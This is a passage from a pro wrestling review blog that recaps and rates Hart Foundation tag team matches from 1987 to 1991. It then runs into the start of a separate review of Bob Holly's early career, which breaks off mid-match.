Should be noted that around this time that the Bees were wearing masks where no one could tell who was who. We get an inset interview of them with Gene where they argue over who is Jim Brunzell and who is Brian Blair. That’s different I guess. Wasn’t this supposed to be an elimination match? They mentioned that in the opening of the show but I haven’t heard anything about it here.

You know, in every match we have with Anvil in it, he does a dropkick and everyone busts a nut over it. It’s not like it never happens. Also apparently the Harts haven’t worn pink before. This is being written just after Jesse and Vince did commentary on Raw so I’m all happy about that. Vince was so much better back in the day. He didn’t have that annoying gravelly voice.

We go to a break and when we come back we’re right where we were a second ago. Ok, now this is just to get into the tag title scene. I don’t get half of what’s going on here. The heels are dominating here. Has there ever been a better spot than having the referee miss a face tag?

The Bees go under the ring and put on their masks and do the obvious switch. Bret takes out the illegal Bee and they do another switch. The legal one pins Bret, which Jesse of course panics at. So much for the elimination nonsense. Vince uses the horrible line of to Bee or not to Bee. Yeah and he was considered good on the mic.

Rating: C-. It got a decent amount of time, but it wasn’t that great. They’ve wrestled each other so many times that if nothing else they’re going to be smooth out there and that was the case this time. This wasn’t bad at all, but the ending was predictable as all goodness.

The Foundation would finally get a Tag Team Title shot on the February 7, 1987 episode of Superstars.

Tag Titles: British Bulldogs vs. Hart Foundation

No intros at all here. How weird is it that the guy in the best shape of these four today is likely Neidhart? Jimmy hit Dynamite with the Megaphone apparently. Oh and evil Danny Davis is referee. Remember that. So it’s Smith vs. both guys and he’s handling them fairly well actually. He gets the powerslam on Anvil but Davis intentionally just goes to the floor to yell at Dynamite who is out cold.

This is happening in like 2-3 minutes. After the double team, a Hart Attack and an accelerated count ends this to give the Harts their first titles. MAD heat on the heels. Like I said, this whole thing was less than 4 minutes so I didn’t have time to go into commentary or anything.

Rating: N/A. Not even a match really as they were just all over the place and it was an angle rather than a match. That’s fine though as they were going this fast. For that though, it was interesting if nothing else and more or less the peak of the Davis is Evil angle. There would be a six man at Mania with Davis and the Harts vs. Bulldogs and Santana who Davis had screwed over also.

The rematch took place on Saturday Night’s Main Event XI.

Tag Titles: Hart Foundation vs. British Bulldogs

This is 2/3 falls. Before the match Hart gets bitten by Matilda which looks cool for obvious reason. Davey and Bret start us off. It’s interesting that Anvil is by far and away the worst wrestler in there and he’s hardly terrible. He’s not particularly good but he’s certainly watchable. The Harts are champions here and this is the official rematch for when Davis cheated to give them the titles.

The heels dominate early as they’re not doing much of note here. It’s fine though, mainly based on just pure raw talent. Dynamite and Bret crank things up a bit. The crowd is way into this too so they have that going for them. The champions get to double team Dynamite and the champions get disqualified eventually, making it 1-0 Bulldogs.

This really isn’t all that great of a match but it’s not terrible. Davey chases like five people around the ring as it looks like a weird comedy skit. I need some Benny Hill music in there somewhere. Bret goes for a cross body on the ropes and winds up getting crotched. Hot tag to Smith and it’s on all over again. He gets the delayed vertical on Neidhart which is rather impressive.

Vince gets TICKED at Jesse, telling him to shut up. Now that’s your Mania match right there. Tito pops Davis for a huge pop and then Kid is picked up and thrown at Bret for a cross body to win in two straight falls to blow the freaking roof off the place. Jesse laughs because the first fall was a DQ so no title switch. They would switch that in 89 so the Brainbusters could win the belts. Holy Dusty Finish Batman.

Rating: B-. Fun match but the ending hurts it a lot. These teams always worked quite well and this was definitely no exception. The ending was a nice way to get the fans going and also to continue the feud since now it’s clear that the Bulldogs can beat them. Strike Force would jump in soon and win the belts, taking the Can-Am Connection’s spot after Zenk went insane.

We’ll jump ahead to after Strike Force took the Tag Team Titles from the Harts. This led to the teams captaining Survivor Series teams at Survivor Series 1987.

Team Hart Foundation vs. Team Strike Force

Hart Foundation, Bolsheviks, Demolition, Dream Team, Islanders
Strike Force, British Bulldogs, Killer Bees, Young Stallions, Fabulous Rougeaus

The rules here are that if one member of a team is eliminated, both members are out so it’s still just five eliminations needed. Strike Force recently stunned the Harts for the titles. I think you should know every team here. The Dream Team is Greg Valentine and Dino Bravo and the Stallions are Jim Powers and Paul Roma. I’m a big Strike Force fan so it’s good to see the fans pop loudly for them.

I’ve seen this show many times as it was one of my favorite tapes but I’ve never figured something out: for this and the main event, the lights are turned down. Why would that be the case? It’s clearly darker in the arena now and it’s not a dome with sunlight coming in or anything. I’ve never gotten that. Volkoff and Martel start things off. There are so many people on the apron that you can’t see most of the ring from a standard camera shot.

Volkoff powers him down to start before bringing in Zhukov. Since Zhukov is pretty much worthless, Martel beats him up and brings in Santana for the forearm out of nowhere for the quick pin. Santana’s reward for the pin: he gets to fight Ax. Ax does his pounding but knocks Tito into the corner and it’s off to Jacques Rougeau who speeds things up with a jumping back elbow to take over.

Dino Bravo comes in and the good guys start speeding up their tags. I’m sorry for all of the play by play in this but when you have 18 guys in a match there isn’t much room for analysis or anything else. After Bravo gets beaten up by about five different guys we wind up with Smash vs. Dynamite and the Bulldog (Dynamite) gets caught in the heel corner. Well actually it would be the heel side of the ring because they don’t all fit in one corner but corner sounds better.

Off to Haku and they chop it out before Dynamite tags in a Killer Bee who tags in the other Killer Bee. Neidhart comes in and gets his legs stretched by Brunzell and Roma. Back to Smash and then Ax who beat on the (somehow) future Horseman. I’m not listing a lot of the tags as there are probably five of them a minute and there’s no point in listing off stuff like “Ax comes in and hits Roma once before tagging back out.”

Roma tags in Powers who gets beaten down just as fast as Roma did, so it’s off to Jacques again. Not that it matters much as Jacques misses a cross body and Smash gets a quick pin. That’s good as we’re now down to sixteen guys left in the match. Off to Dynamite vs. Tama but Powers comes in, only to hesitate and gets his head taken off by a clothesline. Neidhart comes in and puts him in an over the shoulder powerbomb position as Haku drops a double ax (is there a single ax?) to the chest.

Off to Roman who gets beaten up by Ax and then Valentine. The Stallions are jobbers for all intents and purposes but they were great at selling so there was a point to having them around. Bravo comes in and hits a gutwrench suplex for two. Roma crawls over and brings in a Killer Bee who tags out to Dynamite almost immediately to face Smash. Smash fires off something similar to Sheamus’ ten forearms but shoves the referee, drawing the DQ to knock out Demolition. Notice that they kept Demolition VERY strong here and didn’t let them get pinned.

Bret immediately comes in and piledrives Dynamite for only two. Jesse immediately starts singing Bret’s praises as he was known to do. Bret misses a charge and hits the post shoulder first and it’s off to Powers again to face Tama. Tama misses a Vader Bomb and there’s the tag to Martel. Rick cleans house but when he puts the Boston Crab on he’s too close to the ropes and Neidhart gets a tag.

Rick gets away enough to bring in Santana who hits the forearm almost immediately for two. The saving shot to the back of Santana’s head by Bret is enough for Neidhart to get a pin and eliminate the champions. To recap, we have the Harts, the Dream Team and the Islanders vs. the Bulldogs, the Stallions and the Bees. At least now things can slow down a lot. Haku hits a HIGH dropkick on Powers as Jesse talks about his great great grandfather coming over on the Mayflower.

Valentine comes in and does Arn Anderson’s jump in the air and get crotched spot. Anvil (Neidhart for you schmucks out there) comes in and hot shots Powers followed by a superkick from Haku. Off to Valentine who has his suplex countered but still blocks the tag by bringing in Hitman. Bret suplexes Powers but Roma is still able to get the tag somehow. Back to Valentine who comes off the middle rope with a shot to the back for two.

In something you rarely see, Bret whips Roma into the ropes and knocks Valentine off the apron. Bret misses a dropkick and there’s the tag to Dynamite. A belly to back gets two for the Kid and it’s off to Roma which is a pretty questionable move given the beating he’s taken. Off to Haku vs. Blair as Roma was only in for a few seconds. Davey comes in and it’s power vs. power. Make that power vs. Powers but Jim misses a corner charge and Haku tags Anvil.

Powers dives away from Bret and it’s time for Davey Boy vs. Bret in a Summerslam 92 preview. Davey uses a perfect gorilla press on Hart and hits the powerslam for two on Haku. Dynamite tries a middle rope headbutt (notice all the similarities between Dynamite and Benoit. Benoit basically cloned himself after Dynamite) on Haku but knocks himself silly, allowing Haku to superkick him for the elimination.

It’s 3-2 now and Roma immediately charges in with a dropkick for two. Off to Bravo who misses an elbow and it’s off to Powers. Why won’t they tag the Bees already? Valentine Hammers away on Powers as do both Harts. Valentine comes in for a second before handing it off to Bravo again. Dino hits his side suplex but tags off to Valentine for the Figure Four, which is countered by a kick to the back. Off to Roma who sunset flips Valentine off the top to make it 2-2 (Stallions/Bees vs. Islanders/Harts).

The Bees double team Anvil in a match that by their own words probably happened 300 times over the years. Brunzell hits a high knee to the face for two and it’s off to Bret who does about as well. Tama comes in and takes out Roma and it’s off to Haku. Haku misses a legdrop and it’s back to Brunzell. Brunzell hiptosses him into the heel corner for some reason and Bret comes back in. Roma gets two off a middle rope fist but Hart comes right back with a belly to back suplex.

The Islanders hit a double headbutt and this referee counts SLOW. Haku pounds on Roma and hits a dropkick which is rather impressive for a guy his size. It’s not quite as impressive as Anvil doing a dropkick of his own (literally 2 seconds after Monsoon says he’d like to see Neidhart try one) though. Bret comes back in and Roma slides between Bret’s legs and tags in Brunzell.

Brunzell tries to slam Hart but Tama dropkicks Bret’s back. Brunzell rolls through and gets a fast pin to eliminate the Harts and get us down to 2-1. Tama hooks a nerve hold on Brunzell followed by a shoulderbreaker from Haku. That gets two so Haku puts on a nerve hold of his own. Now Tama puts on ANOTHER nerve hold. To be fair we’re over half an hour into this so the guys are likely getting tired.

Brunzell tries a sunset flip but there’s no strength in it at all and he only gets two. He FINALLY gets a tag off to Powers who tags in Roma for a powerslam for two. Things start to break down a bit and the Bees being in the ring allow the Islanders to double team Roma a bit. Roma escapes enough to tag Blair but Tama kicks him before Blair can even get in. Tama misses an elbow and it’s off to Brunzell again for some reason. He can barely get Tama over for a backdrop but the signature dropkick gets two. Everything breaks down and Blair puts on his mask (it was a thing the Bees did to cheat) and sunset flips Tama for the pin.

Rating: C-. This match just kept going on and on and it was kind of exhausting to sit through. It runs nearly forty minutes and by the end there were no combinations we hadn’t seen already. You could easily cut out fifteen minutes of this match and it would have improved greatly. If you like tag wrestling, find a copy of this NOW but otherwise be ready to fast forward a lot. It’s not a bad match or anything but man alive is it long.

Time for a house show match to continue the feud. From Houston on December 10, 1987.

Tag Titles: Hart Foundation vs. Strike Force

Strike Force had won the titles about a month or so before this and this is match #857 or so between them. Still though, it should be awesome. The Harts jump the champions as they hit the ring but Strike Force fights them off. No Jimmy here for some reason. We stall for a good while before it’s Bret vs. Martel to start us off.

Martel cartwheels out of something (nearly kicking Bret in the head) and gets a cross body and sunset flip for two. They are MOVING out there. Tito comes in as Bret goes to the floor to hide. Thankfully it’s short and it’s back to Tito working on the arm. He cranks on an armbar which really is looking painful.

Martel comes in for no apparent reason and Neidhart comes in to block him. The referee gets Jim out and the champions tag without the referee seeing it at all. Apparently this is all cool. Who are the heels here again? Martel cranks on the arm a bit and does the ever important thing of mixing up the things he does to it. After some quick double teaming it’s back off to Tito and the flying forearm gets two.

Anvil comes in with no tag but he says he did. Well that’s on the referee then for being an absolute idiot. Jim takes over on Tito and Bret adds some cheating while Martel tries to get in. Little things like those are what make matches great. Tito gets tied up in the ropes as it’s all Foundation here. The fans chant for Tito and the Harts keep doing such basic cheating that they get the fans further and further into the palms of their hands with every second.

Bret gets the backbreaker for two. The crowd is into this as this is very good heel vs. face stuff. Anvil breaks up another tag to kill the crowd (in a good way) all over again. They run the ropes and collide with Bret possibly having hurt his knee. Both partners come in and Jim puts Bret on top for a VERY close two. Tito sends Bret into the corner chest first as Bret would do almost every match.

Anvil AGAIN stops the tag though and chokes away as Bret and Martel chase each other around the ring for awhile. The Harts try to cheat again but Bret accidently hits a running knee to Jim. THERE’S the hot tag to Martel and the fans are literally on their feet. It’s dropkicks all around and we get the Boston Crab (the hold they won the titles with) to Bret. The referee tries to get Tito out and Anvil hits Martel with the belt. The referee misses that but Tito picks it up to hold the Harts off. Somehow Strike Force wins despite the referee having no idea what Jim did.

Rating: B. The ending holds this back but seeing the GREAT job of getting the crowd into this was impressive. They kept building on the whole “they can’t get Martel in” until the tag finally was made and the place erupted for it. That’s how you work a crowd and considering this was on a house show, that’s impressive beyond belief. This would have been a good PPV match and it’s on a house show. Great stuff, questionable ending aside.

The Harts turned face over the summer and would challenge for the Tag Team Titles at Summerslam 1988.

Tag Titles: Hart Foundation vs. Demolition

Demolition is defending and the Harts don’t even get an entrance. The champions have Mr. Fuji and the Harts’ former manager Jimmy Hart with them. Bret and Ax start things off with Ax pounding Hitman down like he’s nothing. Bret avoids an elbow drop and it’s off to Anvil (Jim Neidhart) vs. Smash with Neidhart taking over. Ax hits a knee to Jim’s back from the apron and the champions take over again.

Neidhart gets in a punch to Ax’s face and it’s off to Hart vs. Smash again. Smash will have nothing to do with this selling stuff and whips Bret shoulder first into the post as the champions get their first extended advantage. Bret’s bad arm is caught up in the ropes and both champs pound away on the injured limb. Smash bends Bret’s arm around his own leg Off to Ax for more cranking on the arm. Bret is shockingly not selling it all that well.

Smash sends the arm into the post again and Bret is in big trouble on the outside. Back in and Ax pounds away while Graham is SCREAMING at Anvil to do something. Bret comes back with a clothesline with the injured arm but the referee misses the tag. Smash charges into a knee in the corner and now the referee sees the tag. Anvil comes in and cleans house, even slingshotting over the top onto Smash on the floor. Back in and Bret throws Anvil into Smash in the corner for two before everything breaks down. Neidhart goes after Fuji, allowing Ax to hit Bret in the back with the megaphone to retain.

Rating: B-. This took some time to get going but once Bret got in and started selling, it was all awesome. Demolition would hold the titles for nearly another year in the longest tag title reign in company history. These teams would go at it again in two years in one of the most entertaining tag matches ever. This was good stuff, but they were capable of much better.

They were also at the first pay per view Royal Rumble in a six man tag.

Dino Bravo/Fabulous Rougeaus vs. Jim Duggan/Hart Foundation

2/3 falls here. Anvil vs. Bravo gets things going and they collide a few times with no one going anywhere. Both guys miss elbows and it’s off to Duggan for a BIG reaction. Ray Rougeau comes in and is immediately slammed down and hit by a knee drop. Hart comes in to a small but audible reaction and gets two each off a small package and a sunset flip. Jacques comes in and things break down a bit with all three heels being caught in one corner where Anvil drives shoulders into them, crushing Ray against the corner under two other guys.

Ray FINALLY gets something in by low bridging Bret to send him to the floor. At the end of the day, when you need someone to sell something you call on Bret. Dino’s side suplex puts Bret down and The Rougeau Bomb gets the first fall. Bret and Ray start things off in the second fall with Hart in big trouble. Jacques comes in and sends Bret into the corner for the traditional chest first bump in the corner which gives Dino two.

Bravo puts on a bear hug for a bit before it’s back to Jacques. A sunset flip gives Bret a quick breather but he’s immediately put in a camel clutch. Anvil makes the save but as he’s being put back in the corner, Ray comes in and puts the same hold back on. That’s good stuff there. The heels take turns working over Bret until Jacques puts on a Boston Crab. Gorilla wants Duggan or Neidhart to come in and break the hold up, because you’ve got five seconds. I love the hypocrisy you would get from him at times.

Bret breaks the hold and tags in Anvil but the referee didn’t see it. That’s such a basic spot but you don’t see it much anymore. Ray puts on an abdominal stretch before it’s off to Jacques for the exact same hold. Bret FINALLY hits an atomic drop to break up the momentum and there’s the white hot tag to Duggan. Anvil hits a slingshot shoulder on Ray and a Duggan elbow drop ties the match up at a fall apiece.

Duggan pounds on Ray to start before going to the wrong corner to try to beat up both guys. Bravo hammers away a bit but rams Duggan’s head into the buckle for no effect at all. Duggan gets punched over into the corner and there’s the tag to Hart. Everything breaks down and Duggan hits Bravo with the board to give Hart the pin.

Rating: C. This was fine but Duggan’s reactions are amazing. The guy was probably the third most over guy in the company at this point, which is covering a lot of ground given how over some of the guys were in 1989. This was fine for an opener but the ending was never quite in doubt, which is ok.

What would a tag team be without a Wrestlemania appearance? From Wrestlemania V.

Greg Valentine/Honky Tonk Man vs. Hart Foundation

Valentine and Honky aren’t Rhythm and Blues yet. Bret and Honky start and it’s atomic drops all around. Honky sells his hilariously but Greg plays it a bit more serious. Off to Anvil for some power but Bret misses the middle rope elbow. The beating begins and you know Hart is going to sell things very well. Valentine gets to pound away as Gorilla says Greg isn’t warmed up yet.

Honky hits the Shake Rattle and Roll but tags in Valentine for the Figure Four instead. Greg gets rolled up for two instead as Gorilla goes NUTS complaining about Honky not covering. The hot tag brings in Anvil again to clean house on both heels. A great clothesline gets two on the Hammer before it’s back to Bret for the middle rope elbow. Everything breaks down and Bret gets Jimmy Hart’s megaphon to drill Honky for the pin.

Rating: D+. Enough filler matches already! This is probably the fourth match out of ten so far that have been there with no particular reason for it to happen. The show is already well over two and a half hours now and there are still four matches to go. That’s one of the problems with the late 80s: they made the shows long for the sake of having them be long.

Here’s a dream match from Summerslam 1989.

Hart Foundation vs. Brain Busters

The Brain Busters (Arn Anderson and Tully Blanchard) won the tag titles a few weeks before this show, but since the match was already signed this is non-title. Why it wasn’t changed to a title match is beyond me but there’s no way this won’t be awesome. Heenan is with the Brain Busters here, making what Jesse said even more confusing. Bret and Tully get things going with Hart going straight for the arm. Arn comes in to take Bret to the mat with a headlock, only to have Bret crank on his arm as well.

A hammerlock slam puts Arn in a cute bit before it’s off to Neidhart for some powerful cranking on the arm. The Harts change two more times and both guys get to crank on the arm before Bret puts on an armbar. Arn slips out and brings in Tully who has his own arm pulled on by Anvil. Blanchard pulls on the beard to escape but can’t hiptoss the big man over. Back to Bret for more arm work before Anvil sneaks in without a tag. It’s only cheating if you get caught remember.

Anvil completely no sells some chops to the chest and sends Tully into the buckle before bringing Bret back in. The fans are all over Heenan with a Weasel chant while Bret works on a hammerlock. Tully grabs a top wristlock but Bret bridges off the mat to escape and the Busters are sent to the outside. Back in and Bret wins a slugout with Tully but gets suckered into a chase with Blanchard making a blind tag to Arn who blasts Bret from behind.

Everything breaks down again with the Brain Busters being knocked out to the floor once again. Back in and Bret sends Tully’s face into Anvil’s boot before bringing Neidhart again. Things break down again but Bret accidentally whips Jim into the buckle to give the Busters control. Arn drives a middle rope elbow into Neidhart’s back before it’s back to Tully for a reverse chinlock. Neidhart picks him up but Tully makes another blind tag off to Anderson to block a tag.

Arn punches him down but Anvil LAUNCHES Anderson off at two. Back up and both guys collide before Bret gets in a knee to Arn’s back to give Neidhart a breather. The hot tag brings in Hart vs. Blanchard with Bret dropping the middle rope elbow for no cover. Everything breaks down for the third or fourth time tonight with Bret being whipped into Tully to put both guys down.

Arn and Jim go to the floor but Bret slingshots Jim over the top into a shoulder block to Tully. Anvil powerslams Bret onto Blanchard but Anderson hits an ax handle to Bret’s head for the pin (while covering his head so the referee doesn’t see it’s Arn in the ring because Arn Anderson is more awesome than you).

Rating: B. I could watch Arn Anderson matches all day because of stuff like that at the end. I mean, who would think of such a little thing like that at the end of a match? This was a very solid opener but again I have no idea why the titles weren’t on the line here, especially if the Busters were going to go over by pin. The Harts wouldn’t even be a factor in the title scene for another year and even then they were big underdogs.

Something a bit more fun from Wrestlemania VI, in Canada.

Hart Foundation vs. Bolsheviks

National anthem, Canadian assault, Hart Attack to Boris, pin in about 20 seconds.

Now for probably the most famous Hart Foundation match ever (or maybe it’s just my favorite) from Summerslam 1990 in yet another 2/3 falls match.

Tag Titles: Hart Foundation vs. Demolition

This is 2/3 falls and Demolition is defending. Basically the Harts have about as much chance coming into this as I have at being Miss America 1974. Bret starts with Smash but the Harts knock Crush to the floor before anything gets going. Things settle down and Bret gets a quick rollup for two. Anvil comes in to crank on Smash’s arm before Bret comes back in with a fist to the back. Smash tries to get into a technical match with Bret and gets caught in an armbar for his stupidity.

Smash finally slams Bret down and brings in Crush, only to have Bret avoid an elbow and pound away. Crush charges into a boot in the corner and gets rolled up for two before it’s off to Neidhart vs. Smash, only to have Crush kick Jim in the back to give the champions the advantage. Crush comes in again and misses a charge into the corner, allowing for another double tag to Bret and Smash. Neidhart falls to the floor as everything breaks down. Smash is whipped into Crush and Bret gets two off the middle rope elbow but here’s Crush again. The Decapitator to Bret is enough for the first fall.

The second fall begins with Crush hitting a hard clothesline on Bret and Smash pounding on the chest. After a quick neck crank by Crush, Bret fires off the Hart Attack clothesline on Smash, allowing for the hot tag to Neidhart. A powerslam gets two on Smash and Bret launches Anvil into Smash in the corner. The Hart Attack takes Smash down but Crush breaks up the pin for the DQ to make it 1-1. Why they didn’t let the Harts get the pin there is beyond me.

During the break between falls, Demolition knocks Bret to the floor, allowing Ax to run down and sneak under the ring. The third fall starts with Bret getting two off a sunset flip before taking Smash down by the leg. Neidhart picks Bret up for the reverse powerslam for two on Smash. Now things get tricky as Smash rolls to the floor and rolls under the ring, switching places with Ax.

The idea is that Ax and Smash look so much alike that the referee can’t tell them apart. This is fine except for one problem: THEY DON’T LOOK ALIKE! Ax is taller, heavier set and has a rounder head, not to mention a deeper voice. This reasoning never made sense to me as a kid and it still doesn’t to this day.

Anyway the fresh Ax destroys Bret and gets two off Bret’s chest bump in the corner. Anvil comes in sans tag as Smash takes Ax’s place again. They try to switch again and the Legion of Doom come out to break it up. Smash goes after Hawk and Animal as Anvil shoulder blocks Crush into a rollup by Bret for the pin and the titles. The place comes unglued as the Harts have shocked the world.

Rating: B. That’s probably a bit high but I love this match. The wrestling is just ok but the storytelling is as good as you’ll get in a tag match with the LOD coming out to even things up, allowing the Harts to finally do the impossible and win the titles. This is a popular match among old school fans and if you watch it you’ll see why.

Here’s something more infamous, in a match that wasn’t released until about twenty years later. From October of 1990.

Jim Neidhart was fired while still half of the Tag Team Champions. Therefore, a quick title change was necessary and was taped during a Saturday Night’s Main Event taping in October of 1990. However, something happens during the match that changed everything.

Tag Titles: Rockers vs. Hart Foundation

This is 2/3 falls and there’s no commentary since it wasn’t released at the time. Marty and Bret get us going and they hit the mat for a technical sequence leading to a standoff. Bret gets taken down with an armbar into a hammerlock but he elbows Marty in the face to escape. It’s strange to be able to hear the wrestlers talking so loudly with no commentary to cover it up. Shawn comes in and the Rockers speed things up, leading to a double backbreaker on Bret.

Neidhart will have none of this double teaming stuff and comes in to get us to another stalemate. Shawn vs. Anvil now with Jim blocking some hiptoss attempts but getting taken down by a headscissors. Back to Marty who is afraid to charge at Neidhart so Jim runs him over with a shoulder and clotheslines him to the floor. Michaels is knocked outside as well, leaving Neidhart alone in the ring. Marty comes back in with an atomic drop to give Shawn a two count before it’s back to Jannetty for some arm work.

Jim drags Marty over to the corner for a tag to Bret (crowd pop) as the Harts start tagging quickly. Shawn knocks Neidhart into a sunset flip for two and Bret is sent outside. A double slam puts the Anvil down and Marty’s top rope fist gets two. Back to Shawn who gets caught in a powerslam for a very close two before Bret comes in to continue the rivalry of rivalries. Hart gets a series of two counts off some of his signature stuff plus a piledriver but stops to argue with the referee, allowing the hot tag to Marty. Jannetty quickly sits on a sunset flip for the pin and the first fall.

Now here’s the interesting question: given what’s coming, why did they not just cut out the rest of the match and say it was only one fall? It’s fine for a quick match and the fall was clean, so why not just give the Rockers the titles there? They can make Edge and Christian friends instead of brothers but can’t edit that? Always kind of strange.

Anyway the second fall begins with Bret atomic dropping Marty down before it’s back to Anvil for a hard shoulder. Bret stomps on Jannetty’s ribs and whips him hard into the corner for two. We hit the front facelock until they fight over a suplex, during which Marty makes a blind tag to Shawn. Michaels catches Jannetty to block the suplex, also drawing in Anvil. The Rockers go to the corners…..and the top rope breaks.

This changes the match entirely as they clearly can’t go to the top rope anymore which is the Rockers’ big trademark (or run the ropes at all actually). Bret is FURIOUS and swears at Shawn, even though Shawn wasn’t in the corner when it broke. We hit the front facelock on Michaels as Bret suggests stopping the match but it keeps going. With nothing else to do, Shawn backdrops out to put both guys down as they try to figure out what to do.

Everything breaks down again with Anvil breaking up a tag attempt to Marty and we hit another chinlock. Shawn fights up and sends Bret into the middle buckle and makes the tag but Marty is taken down immediately as well. They’re clearly making this up as they go out of necessity so Bret slams Anvil onto Jannetty (usually Anvil does the slamming) for another near fall. Something resembling the Demolition Decapitation gets two and Shawn comes in sans tag to dropkick Neidhart outside in a pretty dangerous bump.

Back in and Bret suplexes Shawn down, followed by a quick Hart Attack to tie it up. Bret continues to whine about the match continuing as the third fall begins. We take an edited in break for a novel concept: FIXING THE ROPE. After the breather it’s Shawn being whipped into Bret’s knee and the Hitman goes to work on Michaels’ back. We get down to a regular tag match now with Shawn playing Rick Morton for a bit, including being tied in the ropes. Bret misses a charge though and it’s hot tag #9 or so to Marty.

Jannetty stops a charging Bret with a boot in the corner and hits a kind of middle rope bulldog for two as everything breaks down. We get a crisscross between Bret and Marty until Hart blasts him in the face with a forearm. Back to Neidhart for some powerful shoulders in the corner. Anvil tries to slam Bret onto Marty but it hits knees and Shawn comes in again without tagging. Another Hart Attack is countered by Shawn dropkicking Marty onto Anvil for the pin and the titles out of nowhere to finally pop the crowd.

Rating: D+. The match wasn’t very good but it’s hard to blame the wrestlers for that. The interesting thing here was Bret acting like a total jerk because he had to improvise instead of having the entire match planned out. I get that he wanted to stop the match but don’t take it out on a referee who is just doing his job. This is much more of a piece of wrestling trivia than anything else.

We’ll wrap it up with one of their last matches together, from Wrestlemania VII.

Tag Titles: Hart Foundation vs. Nasty Boys

The Nastys got got hot in WCW in 1990, weren’t signed to contracts, and debuted in the WWF in late 1990/early 1991. They won a tag team battle royal for this shot they’re getting here. Jerry and Bret start things off and it’s a quick Thesz Press to take Sags down. Brian gets knocked off the apron by the Hitman and Sags gets tripped down to the mat. No Sharpshooter yet though as Bret stomps the midsection instead.

Off to Anvil who starts powering Knobs around and pounds away in the corner. After being knocked to the floor, Brian comes right back in and is immediately caught in an armbar. The Nastys double team Neidhart in their corner to FINALLY take over, but a mat slam is enough to let Neidhart tag Bret back in. Hart tries to fight off both of the Boys, only to get decked from behind by Knobs.

Bret is sent out to the floor where he may have hurt his knee. Back inside Jerry whips him into the corner as we hit the heat section of the match. Sags hooks a reverse chinlock before Knobs comes in to do exactly the same. Back to Jerry for a neckbreaker for two and Brian breaks up a hot tag attempt. Hart breaks up a reverse chinlock by Knobs and now it’s Jerry to break up another hot tag.

Brian misses a splash in the corner and Bret makes the tag but, say it with me, the referee doesn’t see it. We get heel miscommunication and NOW we get a tag to Anvil. Jim cleans house and hits a quick powerslam for two on Knobs as everything breaks down. Jimmy Hart gets decked by Bret and there’s a Hart Attack for Knobs. The referee tries to get Bret out and Sags decks Bret with Jimmy’s helmet, giving the Nastys the titles.

Rating: B-. Another solid tag match here as the division was getting very hot all of a sudden. The Harts would quietly split up after this with Bret moving into the IC Title picture soon thereafter. The Nastys would hold the titles over the summer before dropping them to the monsters known as the LOD at Summerslam.

What do you want me to say here? It’s the Hart Foundation. If they’re not the #1 team in WWE history, they’re maybe #3 at worst. They worked together perfectly and mastered the speed/power combination. With Neidhart being completely insane and Bret being Bret, there’s no way this team wasn’t going to be awesome. Go watch their matches and see how good they are compared to modern tag team wrestling.

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of ECW Pay Per Views at Amazon for just $3.99 at:

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Wrestler of the Day – June 27: Hardcore Holly

How do you like me now? Today is Bob Holly.

Holly got his start in 1987 and we’ll be picking things up in 1988 in Memphis.

Pat Rose/Bob Holly vs. Shaun Baxter/Great Senshe

Rose and Holly are in Hart Foundation tights, even down to the color scheme. Rose and Baxter get things going with Baxter quickly slamming him down. Off to Holly, who is rocking a mullet, and walks into some armdrags. Senshe (generic masked guy from Japan) comes in and cranks on the arm before sending Holly to the corner for a tag to Rose. Baxter comes back in as well and gets caught in a Hart Attack with Holly playing Bret.

Rose nails a powerslam and tags Holly back in for a top rope knee drop. Holly stomps away in the corner but gets nailed in the jaw, allowing for the tag to Senshe. The masked man doesn’t have much luck either as the Hart Foundation knockoffs stomp away in the corner. Senshe stops a charging Rose with a superkick and it’s quickly back to Baxter, who is caught in a chinlock. Rose hiptosses him down for two and puts on a weak chinlock.

Baxter gets thrown to the floor but comes back in with a sunset flip for two. It’s back to Holly for a front facelock before Rose misses an elbow. Senshe comes in with his martial arts stuff as everything breaks down. With his team in trouble, Holly and Rose’s manager Brother Ernest hits Baxter in the back with something I couldn’t make out for the DQ.

Rating: D+. This was VERY Memphis with a long match that got the live fans’ attention but wasn’t the most interesting match to an outside viewer. The Hart Foundation stuff was interesting as it’s clearly copying them, but you would think it would be used on a winning team instead of on two guys who hadn’t proven much yet.

The required WWF jobbing spot, from Superstars 1991.

Bob Holly/Mike Samples vs. Bushwhackers

The more famous team stalls before the match before quickly clearing the ring. Holly comes in for the first time and walks into a battering ram and the double gutbuster for the pin. Total squash.

Holly would head to SMW as Hollywood Bob Holly. Here he is on February 8, 1992.

Bob Holly vs. Tim Frye

Both guys trade wristlocks to start with Frye getting the better of it. Holly comes back with a nice dropkick and a legdrop for two. A boot to the chest gets two on Frye but he comes back with another armdrag. Holly nails a clothesline and a top rope knee drop for the pin.

Rating: D+. Nothing match here but Cornette was hilarious on commentary, talking about how Holly was going to be the next a-list star in Hollywood. Holly definitely had charisma, but he really needed something else to get him up to the next level. Frye could have been anyone out there.

Holly would head to the WWF in 1994 as a racecar driver named Sparky Plugg. Here he is o Raw, December 19, 1994.

Bob Holly vs. Chris Kanyon

Thankfully the Plugg name is already gone. A hiptoss and dropkick put Kanyon down and Holly cranks on an armbar. Kanyon comes back with an armdrag and a belly to back suplex for two. Holly snapmares him down and puts on a chinlock. A suplex sets up a top rope knee drop for the pin on Kanyon.

Rating: D. You might be noticing a pattern in a lot of these matches: they’re really not that interesting. Holly is a very generic wrestler at this point and doesn’t have anywhere near the talent level to pull off such a stupid character as a wrestling racecar driver. It was a squash, but it was a boring squash.

Holly would get a fairly big push after this as he teamed with the 1-2-3 Kid in a tournament for the vacant Tag Team Titles. Here’s the final from Royal Rumble 1995.

Tag Titles: Bob Holly/1-2-3 Kid vs. Bam Bam Bigelow/Tatanka

Shawn and Diesel split up and we needed champions. Holly and Tatanka start things off with Tatanka hitting a side slam for two. Holly comes back with a slam and a few dropkicks as this is going nowhere so far. Off to the Kid vs. Bigelow, with the big man running over both of the smaller guys with ease. Bigelow LAUNCHES Kid into the air but gets caught in a rana to send Bam Bam rolling.

Back to Tatanka who whips Kid into the buckles a few times before it’s off to Bigelow to pound on the small guy some more. In something that actually impressed me, Kid backdrops Bigelow to the floor. Both small guys try top rope cross bodies but they escape and dropkick the heels together. Things settle down with Tatanka beating on Holly for a LONG time. Bigelow comes in, allowing Tatanka to distract the Kid. Holly goes to the corner to find no partner and Bigelow splashes Bob.

